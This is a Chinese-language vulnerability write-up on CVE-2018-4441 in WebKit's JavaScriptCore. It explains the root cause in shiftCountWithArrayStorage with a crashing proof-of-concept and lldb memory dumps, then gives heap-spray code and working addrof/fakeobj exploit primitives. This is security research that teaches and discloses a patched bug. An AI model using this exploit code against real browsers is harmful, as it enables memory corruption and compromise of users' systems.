前言
WebKit是Apple Safari浏览器中的Web浏览器引擎,也是其他macOS、iOS和Linux系统中应用的浏览器引擎。2018年12月,该漏洞在公开披露后,被发现影响最新版本的苹果Safari浏览器。相关新闻请参见:《WebKit漏洞影响最新版Apple Safari》。
在本文中,我们将详细分析CVE-2018-4441的漏洞细节,该漏洞是由Google Project Zero的lokihardt报告的。
概述
bool JSArray::shiftCountWithArrayStorage(VM& vm, unsigned startIndex, unsigned count, ArrayStorage* storage) { unsigned oldLength = storage->length(); RELEASE_ASSERT(count <= oldLength); // 如果数组中包含holes或处于异常状态, // 则使用ArrayPrototype中的通用算法。 if ((storage->hasHoles() && this->structure(vm)->holesMustForwardToPrototype(vm, this)) || hasSparseMap() || shouldUseSlowPut(indexingType())) { return false; } if (!oldLength) return true; unsigned length = oldLength - count; storage->m_numValuesInVector -= count; storage->setLength(length); // [...]
根据上述代码中的注释,我认为该方法能够防止带holes的数组进入代码“storage->m_numValuesInVector -= count”。但是,此类数组实际上只能通过holesMustForwardToPrototype方法返回false来实现。除非数组上有任何索引访问器(Indexed Accessors)或原型链上的Proxy对象,否则该方法将会返回False。因此,“storage->m_numValuesInVector”可以由用户控制。
在PoC中,它将m_numValuesInVector更改为0xfffffff0,等于新的长度,使hasHoles方法返回False,从而导致JSArray::unshiftCountWithArrayStorage方法中产生越界读取和越界写入的问题。
PoC如下:
function main() { // [1] let arr = [1]; // [2] arr.length = 0x100000; // [3] arr.splice(0, 0x11); // [4] arr.length = 0xfffffff0; // [5] arr.splice(0xfffffff0, 0, 1); } main();
根本原因分析
在调试器中运行PoC后,我们看到二进制文件在尝试写入到不可写内存(EXC_BAD_ACCESS)时发生崩溃:
(lldb) r Process 3018 launched: './jsc' (x86_64) Process 3018 stopped * thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=2, address=0x18000fe638) frame #0: 0x0000000100af8cd3 JavaScriptCore`JSC::JSArray::unshiftCountWithArrayStorage(JSC::ExecState*, unsigned int, unsigned int, JSC::ArrayStorage*) + 675 JavaScriptCore`JSC::JSArray::unshiftCountWithArrayStorage: -> 0x100af8cd3 <+675>: movq $0x0, 0x10(%r13,%rdi,8) 0x100af8cdc <+684>: incq %rcx 0x100af8cdf <+687>: incq %rdx 0x100af8ce2 <+690>: jne 0x100af8cd0 ; <+672> Target 0: (jsc) stopped. (lldb) p/x $r13 (unsigned long) $4 = 0x00000010000fe6a8 (lldb) p/x $rdi (unsigned long) $5 = 0x00000000fffffff0 (lldb) memory region $r13+($rdi*8) [0x00000017fa800000-0x0000001802800000) --- (lldb) bt * thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=2, address=0x18000fe638) * frame #0: 0x0000000100af8cd3 JavaScriptCore`JSC::JSArray::unshiftCountWithArrayStorage(JSC::ExecState*, unsigned int, unsigned int, JSC::ArrayStorage*) + 675 frame #1: 0x0000000100af8fc7 JavaScriptCore`JSC::JSArray::unshiftCountWithAnyIndexingType(JSC::ExecState*, unsigned int, unsigned int) + 215 frame #2: 0x0000000100a6a1d5 JavaScriptCore`void JSC::unshift<(JSC::JSArray::ShiftCountMode)1>(JSC::ExecState*, JSC::JSObject*, unsigned int, unsigned int, unsigned int, unsigned int) + 181 frame #3: 0x0000000100a61c4b JavaScriptCore`JSC::arrayProtoFuncSplice(JSC::ExecState*) + 4267 [...]
更确切地说,崩溃发生在JSArray::unshiftCountWithArrayStorage的以下循环中,它尝试清除(零初始化)添加的向量元素:
// [...] for (unsigned i = 0; i < count; i++) vector[i + startIndex].clear(); // [...]
startIndex($rdi)的值为0xfffffff0,向量($r13)指向0x10000fe6a8,最终造成偏移位置指向不可写的地址,从而产生崩溃。
PoC分析
// [1] let arr = [1] // - Object @ 0x107bb4340 // - Butterfly @ 0x10000fe6b0 // - Type: ArrayWithInt32 // - public length: 1 // - vector length: 1
首先,创建一个ArrayWithInt32类型的数组。其中可以包含任何类型的元素(例如:对象或双精度),但此时仍然没有关联的ArrayStorage或holes。WebKit项目很好的利用了不同的数组存储方法。简而言之,没有ArrayStorage的JSArray将具有以下形式的蝴蝶结构:
--==[[ JSArray (lldb) x/2gx -l1 0x107bb4340 0x107bb4340: 0x0108211500000062 <--- JSC::JSCell [*] 0x107bb4348: 0x00000010000fe6b0 <--- JSC::AuxiliaryBarrier<JSC::Butterfly *> m_butterfly +0 { 16} JSArray +0 { 16} JSC::JSNonFinalObject +0 { 16} JSC::JSObject [*] 01 08 21 15 00000062 +0 { 8} JSC::JSCell | | | | | +0 { 1} JSC::HeapCell | | | | +-------- +0 < 4> JSC::StructureID m_structureID; | | | +----------- +4 < 1> JSC::IndexingType m_indexingTypeAndMisc; | | +-------------- +5 < 1> JSC::JSType m_type; | +----------------- +6 < 1> JSC::TypeInfo::InlineTypeFlags m_flags; +-------------------- +7 < 1> JSC::CellState m_cellState; +8 < 8> JSC::AuxiliaryBarrier<JSC::Butterfly *> m_butterfly; +8 < 8> JSC::Butterfly * m_value; --==[[ Butterfly (lldb) x/2gx -l1 0x00000010000fe6b0-8 0x10000fe6a8: 0x0000000100000001 <--- JSC::IndexingHeader [*] 0x10000fe6b0: 0xffff000000000001 <--- arr[0] 0x10000fe6b8: 0x00000000badbeef0 <--- JSC::Scribble (uninitialized memory) [*] 00000001 00000001 | | | +-------- uint32_t JSC::IndexingHeader.u.lengths.publicLength +----------------- uint32_t JSC::IndexingHeader.u.lengths.vectorLength // [2] arr.length = 0x100000 // - Object @ 0x107bb4340 // - Butterfly @ 0x10000fe6e8 // - Type: ArrayWithArrayStorage // - public length: 0x100000 // - vector length: 1 // - m_numValuesInVector: 1
接下来,将其长度设置为0x100000,并将数组转换为ArrayWithArrayStorage。实际上,如果将数组的长度设置为大于等于MIN_SPARSE_ARRAY_INDEX的任何值,都会导致其被转换为ArrayWithArrayStorage。另外,请注意ArrayStorage数组的蝴蝶指向ArrayStorage,而不是数组的第一个索引。
--==[[ Butterfly (lldb) x/5gx -l1 0x00000010000fe6e8-8 0x10000fe6e0: 0x0000000100100000 <--- JSC::IndexingHeader 0x10000fe6e8: 0x0000000000000000 \___ JSC::ArrayStorage [*] 0x10000fe6f0: 0x0000000100000000 / 0x10000fe6f8: 0xffff000000000001 <--- m_vector[0], arr[0] 0x10000fe700: 0x00000000badbeef0 <--- JSC::Scribble (uninitialized memory) +0 { 24} ArrayStorage [*] 0000000000000000 --- +0 < 8> JSC::WriteBarrier<JSC::SparseArrayValueMap, WTF::DumbPtrTraits<JSC::SparseArrayValueMap> > m_sparseMap; 0000000100000000 +0 { 8} JSC::WriteBarrierBase<JSC::SparseArrayValueMap, WTF::DumbPtrTraits<JSC::SparseArrayValueMap> > | | +0 < 8> JSC::WriteBarrierBase<JSC::SparseArrayValueMap, WTF::DumbPtrTraits<JSC::SparseArrayValueMap> >::StorageType m_cell; | +----------- +8 < 4> unsigned int m_indexBias; +------------------- +12 < 4> unsigned int m_numValuesInVector; +16 < 8> JSC::WriteBarrier<JSC::Unknown, WTF::DumbValueTraits<JSC::Unknown> > [1] m_vector; // [3] arr.splice(0, 0x11) // - Object @ 0x107bb4340 // - Butterfly @ 0x10000fe6e8 // - Type: ArrayWithArrayStorage // - public length: 0xfffef // - vector length: 1 // - m_numValuesInVector: 0xfffffff0
JavaScriptCore使用shift和unshift操作来实现splice,并根据itemCount和actualDeleteCount的值决定具体要采取的操作。
EncodedJSValue JSC_HOST_CALL arrayProtoFuncSplice(ExecState* exec) { // [...] unsigned actualStart = argumentClampedIndexFromStartOrEnd(exec, 0, length); // [...] unsigned actualDeleteCount = length - actualStart; if (exec->argumentCount() > 1) { double deleteCount = exec->uncheckedArgument(1).toInteger(exec); RETURN_IF_EXCEPTION(scope, encodedJSValue()); if (deleteCount < 0) actualDeleteCount = 0; else if (deleteCount > length - actualStart) actualDeleteCount = length - actualStart; else actualDeleteCount = static_cast<unsigned>(deleteCount); } // [...] unsigned itemCount = std::max<int>(exec->argumentCount() - 2, 0); if (itemCount < actualDeleteCount) { shift<JSArray::ShiftCountForSplice>(exec, thisObj, actualStart, actualDeleteCount, itemCount, length); RETURN_IF_EXCEPTION(scope, encodedJSValue()); } else if (itemCount > actualDeleteCount) { unshift<JSArray::ShiftCountForSplice>(exec, thisObj, actualStart, actualDeleteCount, itemCount, length); RETURN_IF_EXCEPTION(scope, encodedJSValue()); } // [...] }
因此,使用itemCount < actualDeleteCount调用splice,最终将会调用JSArray::shiftCountWithArrayStorage。
bool JSArray::shiftCountWithArrayStorage(VM& vm, unsigned startIndex, unsigned count, ArrayStorage* storage) { // [...] // If the array contains holes or is otherwise in an abnormal state, // use the generic algorithm in ArrayPrototype. if ((storage->hasHoles() && this->structure(vm)->holesMustForwardToPrototype(vm, this)) || hasSparseMap() || shouldUseSlowPut(indexingType())) { return false; } // [...] storage->m_numValuesInVector -= count; // [...] }
正如在原始漏洞报告中提到的那样,假设数组在原型链中既没有索引访问器也没有任何代理对象,那么holesMustForwardToPrototype将返回False,并且会调用storage->m_numValuesInVector -= count。在我们的示例中,count等于0x11,并且在减法操作m_numValuesInVector之前等于1,导致最终结果为0xfffffff0。
// [4] arr.length = 0xfffffff0 // - Object @ 0x107bb4340 // - Butterfly @ 0x10000fe6e8 // - Type: ArrayWithArrayStorage // - public length: 0xfffffff0 // - vector length: 1 // - m_numValuesInVector: 0xfffffff0
此时,m_numValuesInVector的值受到控制。通过将数组的publicLength设置为m_numValuesInVector的值,也可以实现对hasHoles的控制。
bool hasHoles() const { return m_numValuesInVector != length(); }
值得一提的是,我们对m_numValuesInVector的控制非常有限,并且与越界读写紧密相关,稍后我们将进行更加详细的讨论。
// [5] arr.splice(0xfffffff0, 0, 1)
最后,我们使用itemCount > actualDeleteCount调用splice以触发unshift(而不是shift)。hasHoles将返回False,我们就可以在JSArray::unshiftCountWithArrayStorage中实现越界读写。
漏洞利用
我们的计划是利用JSArray::unshiftCountWithArrayStorage中的memmove来实现addrof和fakeobj原语。但在我们这样做之前,必须先制定一个总体的计划。在memmove调用之前,有3个if条件语句。
bool JSArray::unshiftCountWithArrayStorage(ExecState* exec, unsigned startIndex, unsigned count, ArrayStorage* storage) { // [...] bool moveFront = !startIndex || startIndex < length / 2; // [1] if (moveFront && storage->m_indexBias >= count) { Butterfly* newButterfly = storage->butterfly()->unshift(structure(vm), count); storage = newButterfly->arrayStorage(); storage->m_indexBias -= count; storage->setVectorLength(vectorLength + count); setButterfly(vm, newButterfly); // [2] } else if (!moveFront && vectorLength - length >= count) storage = storage->butterfly()->arrayStorage(); // [3] else if (unshiftCountSlowCase(locker, vm, deferGC, moveFront, count)) storage = arrayStorage(); else { throwOutOfMemoryError(exec, scope); return true; } WriteBarrier<Unknown>* vector = storage->m_vector; if (startIndex) { if (moveFront) // [4] memmove(vector, vector + count, startIndex * sizeof(JSValue)); else if (length - startIndex) // [5] memmove(vector + startIndex + count, vector + startIndex, (length - startIndex) * sizeof(JSValue)); } // [...] }
最初,我们放弃了条件[1]和[3],因为它们将重新分配当前的蝴蝶,我们将无法预测(后续证明我们可以预测)新分配的蝴蝶区域(Butterfly Land),导致我们错误地假设一个不可靠的memmove。考虑到这一点,我们开始尝试条件[2],但很快就陷入到了死胡同中。
如果我们采取这种方法,就必须使moveFront为False。为此,startIndex必须非零,并且大于或等于length/2。这最终变得更加糟糕,因为[4]将会复制至少length/2 * 8字节。如果我们回想起之前如何进入到代码路径的,就会意识到这是一个非常巨大的数字。在memmove调用之后,我们遇到了崩溃。在这里,并没有进一步调查其根本原因,但由于我们已经memmove了大量的内存,我们相信蝴蝶附近的一些对象或结构已经被破坏了。也许通过喷射(Spraying)一批0x100000大小的JSArrays可以实现绕过,也许不能实现。我们认为这种方案不适合使用,因此就放弃了这个想法。
尝试喷射
在这时,我们开始阅读浏览器以前漏洞的EXP,试图从中寻找到可以借鉴的思路。我们发现了niklasb的漏洞利用代码。简而言之,他的代码在堆中创建了特定大小对象的holes,并可靠的分配它们。这对于[1]和[3]来说是理想的。以下代码说明了我们如何调整该方法,以使其满足我们的漏洞利用需要:
let SPRAY_SIZE = 0x3000; // [a] let spray = new Array(SPRAY_SIZE); // [b] for (let i = 0; i < 0x3000; i += 3) { // ArrayWithDouble, will allocate 0x60, will be free'd spray[i] = [13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37+i]; // ArrayWithContiguous, will allocate 0x60, will be corrupted for fakeobj spray[i+1] = [{},{},{},{},{},{},{},{},{},{}]; // ArrayWithDouble, will allocate 0x60, will be corrupted for addrof spray[i+2] = [13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37+i]; } // [c] for (let i = 0; i < 1000; i += 3) spray[i] = null; // [d] gc(); // [e] for (let i = 0; i < SPRAY_SIZE; i += 3) // corrupt butterfly's length field spray[i+1][0] = i2f(1337)
我们实际上正在做的,是[a]创建一个数组;[b]root中包含一批特定大小的数组;[c]删除它们的引用关系;[d]触发gc,导致堆产生一定大小的holes。我们在漏洞利用中,遵循了这个逻辑,以便能够在想要损坏的目标/被喷射对象的周围获得一个重新分配的蝴蝶。
可能大家注意到,每个喷射索引(Spray Index)都是大小为10的JSArray。为什么是10呢?经过几次测试运行,并且不断对Butterfly::tryCreateUninitialized中的蝴蝶分配进行调试,我们最终得到了arr.splice(1000, 1, 1, 1)。我们注意到,重新分配的大小将是0x58(向上进位为0x60)。这就是一个JSArray的确切大小,其蝴蝶拥有10个元素。
让我们想象一下这种喷射在内存中实现时的样子。
... +0x0000: 0x0000000d0000000a ----------+ +0x0000: 0x402abd70a3d70a3d | +0x0008: 0x402abd70a3d70a3d | +0x0010: 0x402abd70a3d70a3d | +0x0018: 0x402abd70a3d70a3d | +0x0020: 0x402abd70a3d70a3d spray[i], ArrayWithDouble +0x0028: 0x402abd70a3d70a3d | +0x0030: 0x402abd70a3d70a3d | +0x0038: 0x402abd70a3d70a3d | +0x0040: 0x402abd70a3d70a3d | +0x0048: 0x402abd70a3d70a3d ----------+ ... +0x0068: 0x0000000d0000000a ----------+ +0x0070: 0x00007fffaf7c83c0 | +0x0078: 0x00007fffaf7b0080 | +0x0080: 0x00007fffaf7b00c0 | +0x0088: 0x00007fffaf7b0100 | +0x0090: 0x00007fffaf7b0140 spray[i+1], ArrayWithContiguous +0x0098: 0x00007fffaf7b0180 | +0x00a0: 0x00007fffaf7b01c0 | +0x00a8: 0x00007fffaf7b0200 | +0x00b0: 0x00007fffaf7b0240 | +0x00b8: 0x00007fffaf7b0280 ----------+ ... +0x00d8: 0x0000000d0000000a ----------+ +0x00e0: 0x402abd70a3d70a3d | +0x00e8: 0x402abd70a3d70a3d | +0x00f0: 0x402abd70a3d70a3d | +0x00f8: 0x402abd70a3d70a3d | +0x0100: 0x402abd70a3d70a3d spray[i+2], ArrayWithDouble +0x0108: 0x402abd70a3d70a3d | +0x0110: 0x402abd70a3d70a3d | +0x0118: 0x402abd70a3d70a3d | +0x0120: 0x402abd70a3d70a3d | +0x0128: 0x402abd70a3d70a3d ----------+ ...
[c]和[d]的目标实际上是在spray[i]上放置一只重新分配的蝴蝶。在这里,我们已经可以控制startIndex和count。startIndex表示我们要开始添加/删除元素的索引,count则表示添加元素的实际数量。例如,arr.splice(1000, 1, 1, 1)对应的startIndex为1000,count为1。如果我们删除一个元素并添加[1,1],那么实质上是添加了一个元素。
确实,如果我们有了这个思路,后面的过程将变得非常方便。特别是,有了这些数字之后,[4]的memmove调用可以转换为:
// [...] WriteBarrier<Unknown>* vector = storage->m_vector; if (1000) { if (1) memmove(vector, vector + 1, 1000 * sizeof(JSValue)); } // [...]
从本质上讲,我们将向后移动内存。例如,假设Butterfly::tryCreateUninitialized返回spray[6],那么我们可以将[4]视为:
for (j = 0; j < startIndex; i++) spray[6][j] = spray[6][j+1];
这就是我们如何覆盖相邻数组的蝴蝶的长度头部的方式,将会产生越界问题,最终产生一个不错的addrof/fakeobj原语。下面是内存在[4]之前的样子:
... +0x0000: 0x00000000badbeef0 <--- vector +0x0008: 0x0000000000000000 +0x0010: 0x00000000badbeef0 +0x0018: 0x00000000badbeef0 +0x0020: 0x00000000badbeef0 |vectlen| |publen| +0x0028: 0x0000000d0000000a ---------+ +0x0030: 0x0001000000000539 | +0x0038: 0x00007fffaf734dc0 | +0x0040: 0x00007fffaf734e00 | +0x0048: 0x00007fffaf734e40 | +0x0050: 0x00007fffaf734e80 spray[688] +0x0058: 0x00007fffaf734ec0 | +0x0060: 0x00007fffaf734f00 | +0x0068: 0x00007fffaf734f40 | +0x0070: 0x00007fffaf734f80 | +0x0078: 0x00007fffaf734fc0 ---------+ ... +0x0098: 0x0000000d0000000a ---------+ +0x00a0: 0x402abd70a3d70a3d | +0x00a8: 0x402abd70a3d70a3d | +0x00b0: 0x402abd70a3d70a3d | +0x00b8: 0x402abd70a3d70a3d | +0x00c0: 0x402abd70a3d70a3d spray[689] +0x00c8: 0x402abd70a3d70a3d | +0x00d0: 0x402abd70a3d70a3d | +0x00d8: 0x402abd70a3d70a3d | +0x00e0: 0x402abd70a3d70a3d | +0x00e8: 0x4085e2f5c28f5c29 ---------+ ...
这是之后的样子,请注意spray[688]的vectorLength和publicLength字段:
... +0x0020: 0x0000000d0000000a |vectlen| |publen| +0x0028: 0x0001000000000539 --------+ +0x0030: 0x00007fffaf734dc0 | +0x0038: 0x00007fffaf734e00 | +0x0040: 0x00007fffaf734e40 | +0x0048: 0x00007fffaf734e80 | +0x0050: 0x00007fffaf734ec0 spray[688] +0x0058: 0x00007fffaf734f00 | +0x0060: 0x00007fffaf734f40 | +0x0068: 0x00007fffaf734f80 | +0x0070: 0x00007fffaf734fc0 | +0x0078: 0x0000000000000000 --------+ ...
我们成功地覆盖了spray[688]的长度,这样也就实现了漏洞的利用。
addrof和fakeobj
let oob_boxed = spray[688]; // ArrayWithContiguous let oob_unboxed = spray[689]; // ArrayWithDouble let stage1 = { addrof: function(obj) { oob_boxed[14] = obj; return f2i(oob_unboxed[0]); }, fakeobj: function(addr) { oob_unboxed[0] = i2f(addr); return oob_boxed[14]; }, test: function() { var addr = this.addrof({a: 0x1337}); var x = this.fakeobj(addr); if (x.a != 0x1337) { fail(1); } print('[+] Got addrof and fakeobj primitives \\o/'); } }
我们将使用oob_boxed,覆盖其长度,在oob_unboxed中编写一个对象的地址,以便构造我们的addrof原语,最后使用oob_unboxed在其中放置任意地址,并能够通过oob_boxed将它们解释为对象。
后续的漏洞利用,就是使用几乎在每个EXP中都使用的即插即用代码。喷射结构并使用命名属性进行任意读写操作。关于这一步骤,可以参考w00dl3cs的详细解释。
总结
CVE-2018-4441在Commit 51a62eb53815863a1bd2dd946d12f383e8695db0中实现修复。在我们编写EXP的不久后就实现了修复。如果大家有任何问题或建议,请随时通过Twitter与我们联系。
参考
[1] 攻击JavaScript引擎
[2] w00dl3cs的漏洞利用方法
还没有评论,来说两句吧...